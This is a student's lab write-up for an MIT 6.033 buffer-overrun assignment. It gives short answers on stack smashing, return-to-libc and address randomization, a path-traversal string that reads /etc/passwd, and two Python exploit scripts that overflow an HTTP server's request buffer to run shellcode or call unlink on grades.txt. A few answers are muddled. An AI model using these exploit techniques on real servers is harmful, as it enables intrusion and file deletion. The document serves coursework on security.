6.033 Buffer Overrun

Kevin Cho
R5 Peter Szolovits 1PM

Due April 26th 2016

I Stack Smashing

1. There are two system calls that shellcode.S invokes. These are the syscall to unlink and syscall to exit.

2. The malicious URL overruns the buffer to the url and replaces is with code. The way it does this is by writing teh shellcode for removing grades.txt. Then, it figures out where the return address in the server code. The URL is then padded with nonsense bits till reaching the location of the return address. Instead of allowing the code the do the normal return, the URL returns to the beginning, and then causes the code to remove the text file

II Arc Injection

3. It was not able to remove the text file. The reason is that httpd-nx server doesn't allow us to run code inside the stack. Thus, even if the stack was overwritten, the httpd-nx server will prevent the change from being executed.

4. The value at the return address is the unlink location and P is the memory location of the filename

III Beyond Stack

5. Yes, the values of reqpath and edp change after restarting the server, but the difference between the two locations don't change. However, the change does mkae the exploit harder because the locations are randomized. The attacker would have to shutdown and restart the server to attack because this causes the generated url to point to incorrect positions.

6. The MAGIC-PATH is "../../../../../../.." What this does is give us the contents of /etc/passwd. This doesn't work in browsers due to prevention of checking other directories automatically.

   exploit-ex.py

```
#!/usr/bin/env python
import struct
import sys
import socket
import traceback
import urllib

reqpath = 0x0 # FIXME
ebp     = 0x0 # FIXME
retaddr = ebp + 4

def build_exploit(shellcode):
    req = ("GET " +
           # First, fill up reqpath with shellcode
```

```
            urllib.quote(shellcode) +
            # Pad with "x"
            "x" * (retaddr - reqpath - len(shellcode)) +
            # Override return address with shellcode address
            urllib.quote(struct.pack("I", reqpath)) +
            " HTTP/1.0\r\n\r\n")
    return req

def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ""
    while len(rbuf):
        resp = resp + rbuf
        rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp

if len(sys.argv) != 2:
    print("Usage: " + sys.argv[0] + " host:port")
    exit()
(host, port) = sys.argv[1].split(":")
port = int(port)

try:
    shellfile = open("shellcode.bin", "r")
    shellcode = shellfile.read()
    req = build_exploit(shellcode)
    print("HTTP request:")
    print(req)

    resp = send_req(host, port, req)
    print("HTTP response:")
    print(resp)
except:
    print("Exception:")
    print(traceback.format_exc())
```

exploit-nx.py

```
#!/usr/bin/env python
import sys
import socket
import struct
import traceback
import urllib

reqpath = 0x0 # FIXME
ebp     = 0x0 # FIXME
```

```
unlink  = 0x0 # FIXME
beef    = 0xdeadbeef
retaddr = ebp + 4
fname = "grades.txt"

def encode(p):
    return urllib.quote(struct.pack("I", p))

def build_exploit():
    req = ("GET " +
           "x" * (retaddr - reqpath) +
           encode(unlink) +
           encode(beef) +
           encode(retaddr + 12) +
           fname +
           " HTTP/1.0\r\n\r\n")
    return req

def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ""
    while len(rbuf):
        resp = resp + rbuf
        rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp

if len(sys.argv) != 2:
    print("Usage: " + sys.argv[0] + " host:port")
    exit()
(host, port) = sys.argv[1].split(":")
port = int(port)

try:
    req = build_exploit()
    print("HTTP request:")
    print(req)

    resp = send_req(host, port, req)
    print("HTTP response:")
    print(resp)
except:
    print("Exception:")
    print(traceback.format_exc())
```